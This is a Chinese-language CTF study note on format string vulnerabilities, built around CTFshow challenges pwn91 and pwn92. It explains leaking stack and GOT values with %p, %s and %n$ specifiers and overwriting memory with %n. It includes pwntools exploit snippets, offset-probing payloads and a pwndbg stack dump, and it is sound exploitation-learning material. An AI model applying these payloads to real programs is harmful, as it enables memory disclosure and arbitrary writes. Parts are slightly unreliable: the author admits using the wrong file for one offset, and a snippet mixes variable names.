格式化字符串

知识点和技巧

  • 技巧**(%x %s %n$x %n$s)**

利用 %x 来获取对应栈的内存,但建议使用 %p,可以不用考虑位数的区别

利用 %s 来获取变量所对应地址的字符串,只不过有零截断

利用 %n$x 来获取指定(n+1)参数的值,利用 %n$s 来获取指定参数对应地址的内容

  • 泄露字符串地址位置/值(AAAA%p)

如果我们知道格式化字符串在输出函数调用时 是第几个参数,这里假设格式化字符串相对函数调用是第 k 个参数,那我们就可以通过如下方法来获取指定地址 addr 的内容 addr%k$x下面就是确定格式化字符串是第几个参数了,一般可以通过 [tag]%p%p%p%p%p%p%p%p%p 来实现,如果输出的内容跟我们前面的 tag 重复了,那就说明我们找到了。

AAAA%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p

  • 泄露scanf地址
1
2
3
4
5
6
7
8
__isoc99_scanf_got = elf.got['__isoc99_scanf']
print(hex(__isoc99_scanf_got))
payload = p32(__isoc99_scanf_got) + '%4$s'
print(payload)
p.sendline(payload)
p.recvuntil('%4$s\n')
print(hex(u32(sh.recv()[4:8])))
p.interactive()
  • 覆盖栈内存(%n)

    %n,不输出字符,但是把已经成功输入的字符个数写入对应的整型指针参数所指的变量只要变量对应的地址可写,就可以利用格式化字符串来改变其对应的值

    1. 确定覆盖地址

    2. 确定相对偏移

    3. 进行覆盖

pwn91(基础偏移覆盖)

输入

  1. AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p 或
  2. AAAA-%x-%x-%x-%x-%x-%x-%x-%x-%x
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00:0000│ esp 0xffffd050 —▸ 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p'                   # 存字符串的位置
01:0004│ 0xffffd054 —▸ 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p'
02:0008│ 0xffffd058 —▸ 0xf7fbe7b0 —▸ 0x80482d7 ◂— 'GLIBC_2.34'
03:000c│ 0xffffd05c —▸ 0x80491ad (main+23) ◂— add ebx, 0x2e53
04:0010│ 0xffffd060 ◂— 0x0
05:0014│ 0xffffd064 ◂— 0x1
06:0018│ eax 0xffffd068 ◂— 'AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p'
07:001c│ 0xffffd06c ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p'
[ BACKTRACE ]──────────────────────────────────────────────────────────────────────────────────────────────────────

► 0 0x80491ed main+87
1 0xf7c21519 __libc_start_call_main+121
2 0xf7c215f3 __libc_start_main+147
3 0x80490ac _start+44
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
AAAA-0xffffd068-0xf7fbe7b0-0x80491ad-(nil)-0x1-0x41414141-0x2d70252d-0x252d7025-0x70252d70[Inferior 1 (process 87103) exited normally]
# 补充%x的情况 AAAA-ffffd068-f7fbe7b0-80491ad-0-1-41414141-2d78252d-252d7825-78252d78

printf函数会通过格式化输入字符串,然后将栈上的东西按照顺序输出出来,这里可以看出来格式化字符串的位置偏移是6(这个题目是七,这里用错文件了)

这里使用fmtstr_payload模块直接进行改写

1
2
daniu = 0x804B038
payload = fmtstr_payload(7,{daniu:6})

pwn92(常见转换指示符和长度)

1
2
3
4
5
6
7
8
9
10
11
12
printf("Hello CTFshow %%\n"); 						// 原样输出
puts("Hello CTFshow!");
printf("Num : %d\n", 114514LL); //数字
printf("%s %s\n", "Format", "Strings"); //字符串
printf("%12c\n", 65LL); //前置占位符号12位
printf("%16s\n", "Hello"); //16位
printf("%12c%n\n", 65LL, v1); //12位
printf("%16s%n\n", "Hello!", v1); //16位
printf("%2$s %1$s\n", "Format", "Strings"); //输出第二个参数和第三个参数的字符串内容
//通过 %n$x 来获取被视作第 n+1 个参数的值 p是地址 x是地址中的值
//注意:格式化字符串是第一个参数 如果使用 %3$x 就会打印出第四个参数对应的值
printf("%42c%1$n\n", v1);

输出

1
2
3
4
5
6
7
8
9
10
Hello CTFshow %
Hello CTFshow!
Num : 114514
Format Strings
A
Hello
A
Hello!
Strings Format

image-20230819073835702